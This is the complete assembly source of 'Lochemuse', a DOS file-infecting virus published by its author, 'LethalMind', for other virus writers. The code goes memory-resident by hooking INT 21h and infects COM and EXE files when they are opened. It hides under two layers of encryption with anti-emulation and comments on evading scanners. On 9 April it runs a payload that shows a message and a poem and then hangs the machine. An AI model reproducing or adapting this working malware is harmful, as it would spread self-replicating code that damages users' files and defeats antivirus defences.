;========================================================================;
;=================== Lochemuse  by LethalMind ===========================;
;========================================================================;
;= Features :										=;
;=	- COM infection									=;
;=	- EXE infection									=;
;=	- Residency hooking int 21h							=;
;=	- A first layer of encryption : simple XOR with an			=;
;=						  anti-emultaion key.			=;
;=	- A second layer of encryption : more complicated, but useless	=;
;=						   anyway (see details below)		=;
;=												=;
;=		This virus is actually my very first one, so I guess the	=;
;=	code could be a lot more compact and powerfull but who cares ?	=;
;=	The fact that it's my first one will hopefully make it more		=;
;=	"understandable" to other beginnners. I made this virus after	=;
;=	one month of viriing, and it was first dubed LM 1.X, but I		=;
;=	felt like it needed a name before releasing ;). A Lochemuse		=;
;=	(french word, may be the same in english) is a little worm that	=;
;=	enters into ant's nest, and, to avoid being eaten, produces a	=;
;=	drug. The ants can then not live without the Lochemuse and		=;
;=	defend and feed it (I love this worm ;).					=;
;=												=;
;=	Greetings :										=;
;=		- Ma LOLO : pour toute son aide et son amour...			=;
;=		- Mist : Part paaaasss !!!						=;
;=		- Pockets : Thank you for all your precious advices !		=;
;=		- Darkman : POLYMORPHIC VIRII RULEZ ;)				=;
;=		- SnakeByte : When do you start residency, huh ?		=;
;=		- TPhunk : I was not flooding you, just auto-defending	=;
;=			     myself ;)							=;
;=		- T00fic : One more that helped me a lot while writing	=;
;=			     this virus.							=;
;=		- Fireball : My virus is definately bigger than yours ;)	=;
;=		- Everybody on #vir and #virus.					=;
;=												=;
;=							LethalMind@hotmail.com		=;
;========================================================================;


.model tiny
.386
.code
.radix 10
	org 100h

start:
;===================================================================
;	Start of the code, the first and only 5 bytes of the dropper
;===================================================================

Dropper	db	0E9h,02h,00h,0cdh,21h



;===================================================================
;			Some equations, size of code mainly....
;===================================================================

; Total size of virus, in bytes
SizeOfVirus				equ (offset End_Of_Virus - offset Start_Of_Virus)

; Total size of first encrypted part, in word
FirstEncryptedPartSize		equ (offset EndFirstEncryptedPart - offset FirstEncryptedPart)/2

; Total size of second encrypted part, in word
SecondEncryptedPartSize		equ (offset EndSecondEncryptedPart - offset SecondEncryptedPart)/2

; Total size of first encryption layer, in word
FirstLayerSize			equ	(offset End_Of_Virus - offset FirstLayerOfEncryption)/2



;===================================================================
;	Virus start here for COM files
;	The first layer is simply taken off, then it jumps to real
;	beginning of COM code
;===================================================================

Start_Of_Virus:
	mov		bp,0h				; Get Delta Offset in BP (hard coded)
	push		0f00h				;
	pop		ax				;
	int		10h				; Call int 10h,0fh (Get cursor position)
	xchg		ax,bx				; BX = Cursor position
	add		bx,	WORD PTR ds:[RandomKey+bp]
	cmp		[RandomKey+bp],0		; Is it dropper ?
	jne		Coded				; No, don't 0 key
	xor		bx,bx				; 0 key for dropper

;Take off first layer of encryption
Coded:
	mov		cx,FirstLayerSize		; CX = Number of bytes to decode
SetSource:
	mov		si, offset FirstLayerOfEncryption	; Set source and
	mov		di,si				; destination
FirstEncryptionLoop:
	lodsw						; Get a word
	xor		ax,bx				; Xor it with 5003h key
	stosw						; Store it
	loop		FirstEncryptionLoop	; Do this numberofbyte times
	jmp		Com_Start			; Then go to REAL com code

RandomKey	dw	0				; Encryption key 2


;===================================================================
;	Virus start here for EXE files
;	Header CS:IP points here.
;===================================================================

Exe_Entry_Point:
	mov		bp,0h				; Get Delta Offset in BP (hard coded)
	push		0f00h				;
	pop		ax				;
	int		10h				; Call int 10h,0fh (Get Video State)
	xchg	ax,bx					; BX = Video State (always 5003h)

;Save registers
	mov		dx,ds				; DX = DS
	push		cs				;
	push		cs				;
	pop		es				;
	pop		ds				; ES = DS = CS

	add		bx,	WORD PTR cs:[RandomKey+bp+2]

;Take off first layer of encryption
	mov		cx,FirstLayerSize		; CX = Number of bytes to decode
SetSourceexe:
	mov		si, offset FirstLayerOfEncryption-100h+1	; Set source and
	mov		di,si				; destination
FirstEncryptionLoopexe:
	lodsw						; Get a word
	xor		ax,bx				; Xor it with 5003h key
	stosw						; Store it
	loop	FirstEncryptionLoopexe		; Do this numberofbyte times



;===================================================================
;	Real EXE code, beginning of the first encryption layer too
;===================================================================

FirstLayerOfEncryption:
Exe_Start:
	add		bp,2h					; Set BP to delta offset

	push		ss					; Set stack segment to good
	pop		ax					; value. We incremented it
	dec		ax					; at infection so it was not
	cli							; equal to code segment
	mov		ss,ax					; (Pops a flag in TBScan)
	sti

	sub		bx,WORD PTR ds:[RandomKey+bp]
	mov		[Key_5003+bp],bx			; Store 5003h key
	mov		WORD PTR cs:[Saved_DS+bp],dx	; Store saved DS



;===================================================================
;	This uncrypt the second layer, which is divided in two parts
;	(One for COM code, one for EXE code)
;===================================================================

	lea		si, [SecondEncryptedPart+bp]	; Decrypt SecondPart
	mov		di,si					; set source and destination
	mov		cx,SecondEncryptedPartSize	; set size
	call		Uncrypt_SecondLayer		; UNCRYPT IT !

SecondEncryptedPart:
	lea		si, [FirstEncryptedPart+bp]	; Decrypt FirstPart
	mov		di,si					; set source and destination
	mov		cx,FirstEncryptedPartSize	; set size
	call		Uncrypt_SecondLayer		; UNCRYPT IT !

	lea		si,[jmpsave2+bp]			; Set JMP to restore EXE
	lea		di,[jmpsave+bp]			; at the end of the process.
	movsw							; copy copy copy
	movsw							; copy copy copy
	movsw							; copy copy copy
	movsw							; copy copy copy =)



;===================================================================
;	Heart of the virus : GO RESIDENT !!!
;===================================================================

	call		GoResident



;===================================================================
;	Restore EXE, EXE registers, and give it control.
;===================================================================

Restore_Exe:
	mov		dx,WORD PTR cs:[Saved_DS+bp]	; DX = Saved DS				
	push		dx					;
	push		dx					;
	pop		ds					;
	pop		es					; ES = DS = Saved DS

	mov		bx,ds					; BX = PSP segment
	add		bx,10h				; Adjust for PSP

	add		word ptr cs:[jmpsave+bp+2],bx		; Relocate jump CS
	add		bx,word ptr cs:[stacksave+bp+2]	; Relocate stack seg. and -> BX
	cli
	mov		sp,word ptr cs:[stacksave+bp]		; Set SP to EXE's SP
	mov		ss,bx						; Set SS to EXE's SS + relocation
	sti

	db		0eah					; JUMP CS:IP

;===================================================================
;	END OF EXE CODE
;===================================================================

jmpsave	dd		?				; Original CS:IP
stacksave	dd		?				; Original SS:SP
jmpsave2	dd		?				; Saved CS:IP
stacksave2	dd		?				; Saved SS:SP
EndSecondEncryptedPart:



;===================================================================
;	Beginning of COM real code. This begins by decrypting
;	second layer of encryption.
;===================================================================

Com_Start:
	sub		bx,	WORD PTR ds:[RandomKey+bp]
	mov		[Key_5003+bp],bx			; Save our precious 5003h key
	mov		WORD PTR cs:[Saved_DS+bp],dx	; Store saved DS
	cmp		BYTE PTR cs:[FirstEncryptedPart+bp],8dh	; if it's the original file,
	je		Dont_Decode				; don't decode it

;===================================================================
;	This uncrypt the second layer, which is divided in two parts
;	(One for COM code, one for EXE code)
;===================================================================


	lea		si, [FirstEncryptedPart+bp]	; Decrypt FirstPart
	mov		di,si					; set source and destination
	mov		cx,FirstEncryptedPartSize	; set size
	call		Uncrypt_SecondLayer		; UNCRYPT IT !

FirstEncryptedPart:
	lea		si, [SecondEncryptedPart+bp]	; Decrypt FirstPart
	mov		di,si					; set source and destination
	mov		cx,SecondEncryptedPartSize	; set size
	call		Uncrypt_SecondLayer		; UNCRYPT IT !

Dont_Decode:
	mov		cx,3
	lea		si, [FirstBytes+bp]
	lea		di, [SavedFirstBytes+bp]
	rep		movsb					; Save original COM adress



;===================================================================
;	Heart of the virus : GO RESIDENT !!!
;===================================================================

	call		GoResident



;===================================================================
;	Restore the COM file by copying 3 first bytes back
;===================================================================

Restore_Com:
	mov		di,101h				; To 101h
	dec		di					;   -001h
	push		di					;   =100h (avoid TBScan)
	push		di					; Push it one more time to ret to 100h
	lea		si,[bp+SavedFirstBytes]		; Get first bytes
	pop		di					; DI = 100h
	movsw							; Copy
	movsb							;

	ret							; RET to 100h (beginning of old COM)

;===================================================================
;	END OF COM CODE
;===================================================================


;===================================================================
;===================================================================
;===================================================================
; This is the main piece of code. It includes a lot of routines :
;
;	@GoResident :
;		Get the virus a nice place to sit in memory
;		and copy it there before hooking INT 21h.
;
;	@Int21NewHandler:
;		This is where all calls to INT 21h get redirected.
;
;	@Int21_Close:
;		Handle close function of INT 21h (3eh). Infect any COM or
;		EXE file.
;
;	@Try_Infect_COM:
;	@Infect_COM:
;	@Try_Infect_EXE:
;	@Infect_EXE:
;		"Try" determines if the COM is good to be infected.
;		Infect actually infects it.
;
;	And some other small explicit routines too.
;===================================================================
;===================================================================
;===================================================================




;===================================================================
;	Heart of the virus : Actually get a chunk of memory and install
;	the virus in it by copying it and hooking INT 21h. 
;===================================================================

GoResident:
	push		es					; Save segment registers
	push		ds					;

	mov		ax,WORD PTR cs:[Saved_DS+bp]
	push		ax
	pop		ds

	mov		ax,0CAFEh				; Detect if already in memory
	int		21h					;
	cmp		ax,0FADEh				;
	jz		Resident_Error			; Yeah, it is, don't reinstall

	mov		ax,3521h				; Get old INT 21h adress
	int		21h					;
	mov		cs:[bp+word ptr oldint21+2],es	; Save segment to oldint21
	mov		cs:[bp+word ptr oldint21],bx		; Save IP to oldint21

	mov		ax,ds					; AX = DS
	dec		ax					; AX = 1st MCB of chain
	mov		es,ax					; ES = AX

	mov		ax,es:[3]				; Get MCB size
	sub		ax,2*(SizeOfVirus+15)/16+1	; substract needed memory in par.
	xchg		bx,ax					; BX = requested memory
	push		ds

	pop		es					; ES = DS
	mov		ah,4ah				; dealocate memory
	int		21h

	mov		ah,48h				; allocate new size
	mov		bx,2*(SizeOfVirus+15)/16	;
	int		21h					;
	jc		Resident_Error			; If not enough memory, exit

	push		ax					; AX hold segment in memory
	dec		ax					; AX = MCB of virus
	mov		es,ax					; ES = AX
	mov		word ptr es:[1],8			; Mark it as if DOS owned this block

	pop		ax					; Get segment in memory
	mov		es,ax					; Set everything to
	xor		di,di					; copy the virus from
	mov		ax,cs					; file to memory
	mov		ds,ax					;
	lea		si,cs:[bp+offset Start_Of_Virus]
	mov		cx,SizeOfVirus			;
	rep		movsb					; Copy the virus to memory

	mov		ax,es					; Restore everything
	mov		ds,ax					;

	mov		ax,2521h				;
	mov		dx,(offset Int21NewHandler - 105h)
	int		21h					; Hook int 21h toward new handler

Resident_Error:
	pop		ds					; Restore saved segments registers
	pop		es					;

	ret							; Exit



;===================================================================
;	This handler will be executed each time INT 21h is called
;	It will infect any file opened by calling the appropriate
;	routine.
;===================================================================

Int21NewHandler:
	pushf							; Save flags
	pusha							; Save all registers

	cmp		ax,0CAFEh				; Is it a check ?
	jnz		No_Check				; No, continue

	popa							; Else restore registers...
	popf							; ... restore flags...
	mov		ax,0FADEh				; ... aknowledge the check ...
	iret							; ... and return

No_Check:
	cmp		ah,3dh				; Is it a call for open file ?
	je		Int21_Open				; Yes, GREAT - INFECT =)


Int21End:
	popa							; Restore registers
	popf							; Restore flags

	db	0eah						; Jump to oldint21

oldint21 dd ?						; This is where real INT 21's adress
								; is stored



;===================================================================
;	This is the executed when a file is opened.
;	It will check either it's an EXE or a COM file,
;	and infect it.
;===================================================================


Int21_Open:

	pusha						;save registers
	mov		ah,2ah			;gets system date
	pushf
	call      dword ptr cs:[oldint21-105h]
	cmp		dx,0409			; Is it 9 april ?				
	jne		nopay				; no, no payload - yet >:)
	popa

	push		cs				;
	pop		ds				; DS = CS
	push		cs				;
	pop		es				; ES = CS

	call	PAYLOAD				; PAYBACK TIME :)
nopay:
	popa						; restore registers

	push		ds				; Save segments
	push		es				; registers
	
	mov		ax,4300h			; Save attributes
	int     	21h
	mov		WORD PTR cs:[f_attr-105h],cx

	mov		si,dx

finddot:
	inc		si
	cmp		BYTE PTR ds:[si],'.'	; Find dot in name
	jne		finddot
	inc		si

	cmp		WORD PTR ds:[si],'OC'	; Look if it is a COM file
	jne		NoCOM
	cmp		BYTE PTR ds:[si+2],'M'
	jne		NoCOM
	jmp		fileok

NoCOM:
	cmp		WORD PTR ds:[si],'XE'	; Look if it is an EXE file
	jne		End_Int21_OpenErr
	cmp		BYTE PTR ds:[si+2],'E'
	jne		End_Int21_OpenErr

fileok:
	mov     	ax,4301h
	xor     	cx,cx				;Set attributes to zero
	int     	21h				;to insure write access.

	mov		ax,3d02h			; Open file R/W
	pushf
	call		dword ptr cs:[oldint21-105h]
	jc		End_Int21_OpenErr		; Something waird occured, better stop
	xchg		ax,bx

	mov		ax,5700h			;get files time/date stamp
	Int		21h
	push		dx				;save the values
	push		cx				;in dx and cx

	push		cs				;
	pop		ds				; DS = CS
	push		cs				;
	pop		es				; ES = CS
	

	mov		ax,4200h			; Move file pointer
	cwd						; at beginning of
	xor		cx,cx				; file
	Int		21h

	mov		cx,3				; copy 3 bytes
	lea		dx,[FirstBytes-105h]	; read to FirstBytes
	mov		ah,3Fh			; read first 3 bytes
	Int		21h

	cmp		WORD PTR cs:[FirstBytes-105h],5A4Dh	; Does the file begin with "MZ"
	jz		Its_An_ExeOpen				; Yes ? It's an EXE -> Infect
	cmp		WORD PTR cs:[FirstBytes-105h],4D5Ah	; Does the file begin with "ZM"
	jz		Its_An_ExeOpen				; Yes ? It's an EXE -> Infect
	call		Try_Infect_COM				; Else it's a COM -> Infect

	jmp		End_Int21_Open		; Ok, return to old handler
							; and close file
Its_An_ExeOpen:
	call	Try_Infect_EXE			; Infect the EXE

End_Int21_Open:
	pop		cx				; Restore date/time
	pop		dx				;
	mov		ax,5701h			;
	Int		21h				; Do it

	mov		ah,3eh			; Close file
	Int		21h				;

End_Int21_OpenErr:
	mov		ax,4301h			; Restore attribs
	mov		cx,WORD PTR cs:[f_attr-105h]
	int		21h

	pop		es				; Restore segments
	pop		ds				; resgisters


	jmp		Int21End			; Go back to oldint21




;===================================================================
;	This check if the .com file is not already infected, and
;	call Infect_COM if it is not.
;===================================================================

Try_Infect_COM:
	mov		ax,4202h			; Move file pointer to
	mov		dx,-4				; end of file
	mov		cx,-1				;
	Int 21h					; call oldint21

	lea		dx,[SavedEndBytes-105h] ; Read two bytes
	mov		cx,2				;
	mov		ah,3fh			;
	Int		21h				; call oldint21

	cmp		WORD PTR ds:[SavedEndBytes-105h],'SN'	; Is it a 'EUNUNS'
	je		COM_Error

	mov		ax,4202h			; Move file pointer to
	cwd						; end of file
	xor		cx,cx				;
	Int		21h				; call oldint21

	or		dx,dx				; Is file too big ?
	jnz		COM_Error			; Yes ? Don't infect


	cmp		BYTE PTR ds:[FirstBytes-105h],0E9h	; Does the file begin with a jump ?
	jne		GoInfect_COM		; No, we can infect safely

	sub		ax,SizeOfVirus+3		; Calculate jump adress
	cmp		ax,WORD PTR ds:[FirstBytes+1-105h]	; Is the file infected ?
	je		COM_Error			; Yeah, don't infect

	cmp		WORD PTR ds:[FirstBytes+1-105h],02h	; Is it dropper ?
	je		COM_Error			; Don't infect.

	add		ax,SizeOfVirus		; Restore old size

GoInfect_COM:
	call	Infect_COM				; Ok, INFECT :]

COM_Error:
	ret						; Quit



;===================================================================
;	This check if the .exe file is not already infected, and
;	call Infect_EXE if it is not.
;===================================================================

Try_Infect_EXE:
	mov		ax,4200h
	cwd
	xor		cx,cx
	Int		21h

	mov		ah,3fh			; Read file to buffer
	lea		dx,ds:[ExeHeader-105h]	; @ DS:DX
	mov		cx,1ch			; 1Ah bytes
	Int		21h
	jc		EXE_Error

	mov		ax,word ptr ds:[ExeHeader+12h-105h]	; get checksum
	cmp		word ptr ds:[ExeHeader+04h-105h],ax	; compare checksum with size in page
	je		EXE_Error

	cmp		word ptr ds:[ExeHeader+1ah-105h],0	; Is this file an overlay ?
	jne		EXE_Error

	call	Infect_EXE
EXE_Error:
	ret



;===================================================================
;	This infect a COM file by appending the virus, changing
;	three first bytes, and hardcoding Delta Offset.
;===================================================================

Infect_COM:
	push		ax ax
	call		rand_16
	mov		ds:[RandomKey-105h],ax		; Get a random key
	
	mov		ax,4200h
	cwd
	xor		cx,cx
	Int		21h

	pop		cx					; get size of file + virsize
	pop		si					; si=cx
	push		si
	sub		si,3					; si = Delta Offset
	mov		BYTE PTR ds:[BeginHhost3-105h],0e9h	; Write the jmp
	mov		WORD PTR ds:[BeginHhost3+1-105h],si	; jmp offset

	pop		si					;
	push		si					;
	mov		cx,3					; 3 bytes
	lea		dx,ds:[BeginHhost3-105h]	; Write from the modified beginning
	push		4000h					;
	pop		ax					;
	Int		21h					; Write the jump

	mov		ax,4200h				;
	xor		cx,cx					;
	xchg		dx,si					;
	Int		21h					;

	mov		cx,SizeOfVirus/2+1		; Copy virus at the end
	lea		si, cs:[Start_Of_Virus-105h]	; so we can modify the code
	lea		di, cs:[End_Of_Stack-105h]	; before writing
	rep		movsw					;

	pop		si					;
	sub		si,5					; get Delta Offset
	lea		di, ds:[End_Of_Stack-105h]	;
	push		di					;

	add		di, offset Start_Of_Virus - 104h	; Patch DO
	mov		WORD PTR cs:[di],si		;

	pop		di
	add		di, offset SetSource - 104h	;
	lea		si,ds:[si+FirstLayerOfEncryption]	; Patch DO
	mov		WORD PTR ds:[di],si		;

	call		Crypt_And_Write			; Crypt n' Write

	ret
    


;===================================================================
;	This infect an EXE file by appending the virus, changing
;	the header, and hardcoding Delta Offset.
;===================================================================

Infect_EXE:
	les		ax,dword ptr ds:[ExeHeader+14h-105h]	; Get old CS:IP
	mov		word ptr cs:[jmpsave2-105h], ax		; save it
	mov		word ptr cs:[jmpsave2+2-105h], es		;

	
	les		ax,dword ptr ds:[ExeHeader+0Eh-105h]	; Get old SS:SP
	mov		word ptr cs:[stacksave2-105h], es		; Save it
	mov		word ptr cs:[stacksave2+2-105h], ax		;

	mov		ax,4202h				; Go to end of file
	cwd							;
	xor		cx,cx					;
	Int		21h					;

	push		bx					; Save some regs
	push		ax					;
	push		dx					;

	mov		bx, word ptr cs:[ExeHeader + 8 -105h]	; Get header size
	mov		cl, 4					; convert to bytes
	shl		bx, cl				;

	sub		ax, bx 				; Subtract header size from
	sbb		dx, 0					; file size

	mov		cx, 10h				; Convert to segment:offset
	div		cx					; form
 
	sub		dx,105h				; Calculate new delta offset
	mov		WORD PTR ds:[NewDelta-105h],dx ; Save it
	
	add		dx,offset Exe_Entry_Point	; Calculate new entry point
	mov		word ptr ds:[ExeHeader+14h-105h], dx ; Write it to header
	mov		word ptr ds:[ExeHeader+16h-105h], ax ;

	inc		ax					; increment SS so SS <> CS
	mov		word ptr ds:[ExeHeader+0Eh-105h], ax ; write to header
	mov		word ptr ds:[ExeHeader+10h-105h], offset End_Of_Stack - 105h
	
	pop		dx				; Restore some regs
	pop		ax				;
	pop		bx				;

	add		ax, SizeOfVirus		; add virus size
	adc		dx, 0

	push		ax				; Save low word of filesize
	mov		cl, 9				; 2^9 = 512
	shr		ax, cl			; / 512
	ror		dx, cl			; / 512 (sort of)
	stc

	adc		dx, ax			; of 1 to the DIV 512 portion
	pop		ax				; Restore low word of filesize
	and		ah, 1				; MOD 512


	
	mov		word ptr ds:[ExeHeader+4-105h], dx		; new file size
	mov		word ptr ds:[ExeHeader+12h-105h], dx	; checksum
	mov		word ptr ds:[ExeHeader+2-105h], ax		; new file page

	push		cs				; restore ES
	pop		es

	mov		ax,4200h			; Move file pointer
	xor		cx,cx				; to beginning of file
	cwd						; xor dx,dx
	Int		21h

	mov		cx, 1ch
	push		4000h
	pop		ax
	lea		dx,ds:[ExeHeader-105h]	; Write header from buffer
	Int		21h

	mov		ax,4202h			; Move file pointer
	xor		cx,cx				; to end of file
	cwd						; xor dx,dx
	Int		21h
	push		ax

	call		rand_16
	mov		ds:[RandomKey-105h],ax	; get a random key

	mov		cx,SizeOfVirus/2+1
	lea		si, ds:[Start_Of_Virus-105h]
	lea		di, ds:[End_Of_Stack-105h]
	rep		movsw				; Copy virus to memory so
							; we can do what we want
	
	pop		si				; Get size
	sub		si,5				; Get futur DO

	lea		di, ds:[End_Of_Stack-105h]
	push		di
	add		di, offset Start_Of_Virus - 104h	; Patch StartOfVirus in memory
	mov		WORD PTR ds:[di],si	; With DO


	pop		di
	push		di
	add		di,offset SetSourceexe - 104h		; Patch SetSource in memory
	mov		ax,offset FirstLayerOfEncryption	; With adress of FirstLayer in memory
	add		ax,WORD PTR ds:[NewDelta-105h]
	mov		WORD PTR ds:[di],ax

	pop		di
	add		di, offset Exe_Entry_Point- 104h	; Patch EXE entry point
	mov		dx,WORD PTR ds:[NewDelta-105h]
	sub		dx,2
	mov		WORD PTR ds:[di],dx			; With DO - 2
	add		dx,2
	add		di, offset BeginHhost3-Exe_Entry_Point
	mov		WORD PTR ds:[di],dx
	mov		WORD PTR ds:[BeginHhost3+1-105h],dx

	call		Crypt_And_Write	; Crypt n' Write

	ret



;===================================================================
;	This routine take care of crypting and writing to disk the
;	virus' image in memory. The encryption is separated in two
;	layers, and the inside layer is separated in two parts (WOW ;)	
;===================================================================

Crypt_And_Write:
	lea		si, ds:[End_Of_Stack-105h]	; Fill parameter for CRYPT routine
	mov		dx,si					;
	add		si, offset FirstEncryptedPart - 105h
	mov		di,si					;
	push		SizeOfVirus				; Save SizeOFVirus
	push		dx					; Save EndOfStack
	mov		cx,FirstEncryptedPartSize	;
	push		dx					; Save EndOfStack

	call		CRYPT					; CRYPT First part of second layer

	pop		si					; Get EndOfStack
	push		si					; Save it again
	add		si, offset SecondEncryptedPart - 105h	; Set it to second part
	mov		di,si					;
	mov		cx,SecondEncryptedPartSize	;

	call		CRYPT					; CRYPT Second part of second layer

	mov		cx,FirstLayerSize			; Set regs for FirstEncryption
	pop		si					; Get EndOfStack
	add		si,offset FirstLayerOfEncryption - 105h	; Set si to beginning
	mov		di,si					;

	call		FirstEncryptionLoop2		; Encrypt first layer

; Now the image in memory is ready, we just need to copy it
; To the file.


	pop		dx					; Get back EndOfStack
	pop		cx					; Get back SizeOfVirus
	push		ds:[Key_5003-105h]		; Save our precious key
	mov		ds:[Key_5003-105h],0		; ZERO it
	push		4000h					;
	pop		ax					;
	Int		21h					; Write to file
	pop		ds:[Key_5003-105h]		; Restore our key
	ret							; THE END ;)


;===================================================================
;	This routine uses several simple encryption for the second
;	layer.
;===================================================================

CRYPT:
CRYPT_LOOP:
	lodsw							; Get a word
	not		ax					; Perform several encryption
	rol		ax,2					;
	sub		ax,5003h				;
	xor		ax,WORD PTR ds:[RandomKey-105h]	; XOR with random key
	stosw							; Store modified word
	loop		CRYPT_LOOP				; loop it
	ret



;===================================================================
;	This routine uses a simple XOR to encrypt the first layer
;	No AVs can penetrate this layer only because of the magic
;	key. =)
;===================================================================

FirstEncryptionLoop2:
	push		bx			; Save handle to file !!
	mov		bx,WORD PTR ds:[RandomKey-105h] 
	add		bx, 5003h		; BX = RandomKey + 5003h_Key
RealLoop:
	lodsw					; Get a word
	xor		ax,bx			; XOR it with key
	stosw					; Store it
	loop		RealLoop		; Loop it
	pop		bx			; Retore handle to file !!
	ret



;===================================================================
;	Payload :
;		It will, on 9th April, display "Lochemuse is... ALIVE"
;	in the center of the screen, but it will type it, that is,
;	display it letter by letter with random intervalls between
;	each. Then it will wait 5 seconds and display a little poem :]
;===================================================================

PAYLOAD:
	mov		ax,0003h	; Set video-mode 80*25 16-Colors
	int		10h

	mov		[Dislexia-105h],1		; This switch make the
							; letters appear 1 by 1
	lea		si,[Message-105h]		;
	mov		cx,24d			; Print 24 letters
	call		printstring			; DO IT

	mov		ax,500h			; Wait 5 seconds
	mov		[Randomtimer-105h],ax	;
	mov		ah,2ch			; call time
	Int		21h				;
	mov		[Savedtimer-105h],dx	; Put saved time here
timerloop2:
	Int		21h
	sub		dx,[Savedtimer-105h]
	cmp		dx,[Randomtimer-105h]	; If delay < at 5 seconds
	jbe		timerloop2			; Loop

	mov		[Dislexia-105h],0		; No more dislexia ;)

	lea		si,[Poeme1-105h]		; This time print poem
	mov		cx,0eh			; Print 0eh lines
Printline:
	push		cx				;
	call		printstring			; Print a line
	pop		cx				;
	loop		Printline			;
	

enprog:
	jmp		enprog			; The payload ends on
							; a nice infinite loop :)

printstring:
	mov		ah,02h			; Set cursor position
	xor		bh,bh				;
	mov		dx,WORD PTR [si]		; To posistion indicated by string
	int		10h				; Do it
	xor		cx,cx				;
	mov		cl,BYTE PTR [si+2]	; Number of characters -> CX
	add		si,3				; Jmp over number of character and line...
loopstr:
	push		cx
	lodsb						; Get a character
	
	mov		ah,09h			; Print character
	mov		bx,0004h			;
	mov		cx,0001h			;
	int		10h				; Print al

	mov		ah,03h			; Read cursor position
	int		10h				; 

	mov		ah,02h			; Set cursor position
	inc		dl				; To next character
	int		10h				;

	cmp		[dislexia-105h],0		; Are we dislexic ?
	je		nolag				; No, jump over the timer

	mov		ax,0a0h			; Else wait between 0 and a0h milliseconds
	call		rand_in_range		;
	mov		[Randomtimer-105h],ax	;
	mov		ah,2ch			;
	Int		21h				;
	mov		[Savedtimer-105h],dx	;
timerloop:
	Int		21h				;
	sub		dx,[Savedtimer-105h]	;
	cmp		dx,[Randomtimer-105h]	;
	jbe		timerloop			; (See same routine up there for commmentary)

nolag:
	pop		cx
	loop		loopstr			; loop it for each character

	ret



;===================================================================
; Random routines originated by rincewhind. These sucks, but they
; are by far sufficient for needed purpose. They are quite
; self-explanatory so I won't include any comments.
;===================================================================

rand_in_range:
	xchg		ax,bx
	call		get_rnd
 	xor		dx,dx
	div		bx
	xchg		ax,dx  ;dx=remainder
	ret

get_rnd:
	in		ax,40h
	xor		ax, 0FFFFh
	org		$-2
 	Randomize	dw ?
	mov		[Randomize-105h],ax
	ret


rand_16:
	in		ax,40h	; Get timer
	mov		cl,al
	in		ax,40h	; Get timer
	mov		ah,cl
	ret

FirstBytes	db	0B8h,00h,4ch	; Code of fake host (Quit)

; Used for payload
Savedtimer	dw	?
Randomtimer	dw	?
Dislexia	db	?
Message	db	18h,0bh,24d,'Lochemuse is.... ALIVE !'
Poeme1 db 04d,06d,73d,'Je ne veux pas te perdre. Plus jamais je n''eprouverais un sentiment aussi'
db 18d,07d,42d,'fort pour quelqu''un ou pour quelque chose.'
db 16d,08d,48d,'Ce n''etait pas prevu, ma connexion ame avec toi.'
db 28d,09d,25d,'Tu m''as vole ma solitude.'
db 01d,10d,78d,'Personne ne le sait mais j''attendais ca, que toi, ma voleuse, tu t''introduises'
db 02d,11d,76d,'dans mon autonomie, j''avais ferme a cle et laisse les fenetres ouvertes dans'
db 24d,12d,32d,'l''espoir, mais sans y croire que'
db 36d,14d,8d,'========'
db 36d,15d,8d,'== TU =='
db 36d,16d,8d,'========'
db 35d,18d,10d,'viendrais.'
db 60d,20d,9d,'A ma LOLO'
EndFirstEncryptedPart:



;===================================================================
; This routine encrypt the second layer of encryption.. Nothing
; fancy here....
;===================================================================

Uncrypt_SecondLayer:
	mov		ax,WORD PTR cs:[Key_5003+bp]		; Use 5003h key to
	mov		WORD PTR cs:[ADDING+1+bp],ax		; Patch the code on runtime

	mov		bx,WORD PTR ds:[RandomKey+bp]		; BX = RandomKey
Uncrypt_SecondLayer_Loop:
	lodsw							; Get a word
	xor		ax,bx					;
ADDING:							;
	add		ax,50h				; Perform encryption
	ror		ax,2					;
	not		ax					;
	stosw							; Store it
	loop		Uncrypt_SecondLayer_Loop	; Loop it
	mov		WORD PTR ds:[ADDING+1+bp],ax	; Repatch it, so next copy won't be
								; already patched

	ret


Key_5003			dw	0   ; Encryption key 1
dumb_end:

;===================================================================
; The heap is used here for storing some variables, and it is used
; as a stack when the host is an EXE.
;===================================================================

Saved_DS equ	$
f_attr  equ Saved_DS+2
NewDelta equ f_attr+2
BeginHhost3 equ NewDelta+2
SavedFirstBytes equ BeginHhost3+3
SavedEndBytes	equ	SavedFirstBytes+3
ExeHeader	equ	SavedEndBytes+2
StartOfStack equ ExeHeader+1ch*2
End_Of_Stack equ StartOfStack + 100h
End_Of_Virus:
end     start